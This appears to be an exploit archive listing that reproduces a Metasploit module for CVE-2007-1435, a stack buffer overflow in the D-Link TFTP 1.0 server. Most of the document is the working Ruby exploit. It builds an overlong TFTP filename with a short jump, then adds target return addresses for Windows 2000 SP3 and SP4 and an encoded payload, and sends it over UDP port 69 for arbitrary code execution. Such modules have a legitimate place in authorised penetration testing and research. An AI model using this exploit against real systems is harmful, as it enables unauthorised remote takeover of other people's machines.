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D-Link TFTP 1.0 Long Filename Buffer Overflow

D-Link TFTP 1.0 Long Filename Buffer Overflow
Posted Nov 26, 2009
Authored by patrick, LSO | Site metasploit.com

This Metasploit module exploits a stack overflow in D-Link TFTP 1.0. By sending a request for an overly long file name, an attacker could overflow a buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2007-1435
SHA-256 | bfbc05b4b87a6ce005b9bc1dcbf88ea34695a1c611595f570b33a38b8fe5c755

D-Link TFTP 1.0 Long Filename Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in D-Link TFTP 1.0.
By sending a request for an overly long file name, an attacker
could overflow a buffer and execute arbitrary code. For best results,
use bind payloads with nonx (No NX).
},
'Author' => [
'LSO <lso[@]hushmail.com>', # Exploit module
'patrick', # Refs, stability, targets etc
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-1435' ],
[ 'OSVDB', '33977' ],
[ 'BID', '22923' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-reverse',
},
},
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
'Platform' => 'win',

'Targets' =>
[
# Patrick tested OK 20090228
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2007',
'DefaultTarget' => 0))

register_options([Opt::RPORT(69)], self)

end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

juju = "\x00\x01"
juju << Rex::Text.rand_text_alpha_upper(581)
juju << Rex::Arch::X86.jmp_short(42)
juju << Rex::Text.rand_text_alpha_upper(38)
juju << [target.ret].pack('V') + payload.encoded

udp_sock.put(juju)

handler
disconnect_udp
end

end

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